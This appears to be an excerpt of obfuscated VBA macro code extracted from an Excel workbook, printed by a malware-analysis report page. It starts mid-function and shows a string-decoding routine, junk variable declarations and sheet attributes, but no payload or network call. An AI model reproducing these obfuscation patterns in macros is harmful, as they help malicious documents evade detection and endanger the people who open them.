                If Mid(YTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQ, MFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYS, 1) = IXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHC Then GoTo LSub
            Next
LSub:
            HJFKuJkfo = HJFKuJkfo & Mid(CJOGGYSGRXFVEWYMGFCLJUGSUTYBISTXDBPWGQZWRIMMLOHDHVDCKMNJVDZRIKTIKRWHOHBOZYNEMFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJI, MFHUHNKTRDOZWUZJQBUZLIXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHCMHCJOGGYS, 1)

        Case Else

            HJFKuJkfo = HJFKuJkfo & IXYOYBFZQUUTWILPEKKSUVRELIZQRCQSZXPVJJWBHUFUHPDPVSCSEWCFDIQYCDITQGGWZJNIXVVVXQTXFSSBVWSFTJIYTEYUBGXXRRFJPDNDOXEXWTDBMEKMLQYZKLPCSHOFIRVQGEEEGYUYNBTCEFBNCRJHC

    End Select

Next

For NnIp = 1 To Len(enc)
Next

End Function

Function kuail(burgerorgan, bonusshoot)
qoxnwkqnhfshhimr = "*" & burgerorgan & "*"
Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double
be3a8c1f30f1abadd648e22b16fdb57d7 = 742.162
Dim columnwall As Byte
columnwall = 44414.429
Dim t0ea0a0840384a15e019665b2e996b73f As Long
t0ea0a0840384a15e019665b2e996b73f = 464.954
Dim n2b549c2e42dc58d564726b5780212aza As Double
n2b549c2e42dc58d564726b5780212aza = 695.115
dhmpmrvyvrxwv = vbNullString
Dim m974e3e334b64ac13b6dec997fbabf21f As String
m974e3e334b64ac13b6dec997fbabf21f = "naiveremove"
Dim b08576ffe41cb67690655f1261f410844 As Byte
b08576ffe41cb67690655f1261f410844 = 19.227
Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean
z2c55929d38494d4bf3ab6ba3dd16305c = 93.904
Dim b9d76f7072ca3da29e82e55579143fba0 As Double
b9d76f7072ca3da29e82e55579143fba0 = 108.662
If Not bonusshoot Like qoxnwkqnhfshhimr Then
dhmpmrvyvrxwv = burgerorgan
Dim kqeepfyakmzwuediw As Double
kqeepfyakmzwuediw = 61.491
If kqeepfyakmzwuediw <> 189.252 Then
Dim flamesight As Byte
flamesight = 212.797
Dim sweartrust As Long
sweartrust = 235.981
Dim prqhhqrabc As String
prqhhqrabc = "fadzjgdilazu"
End If
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.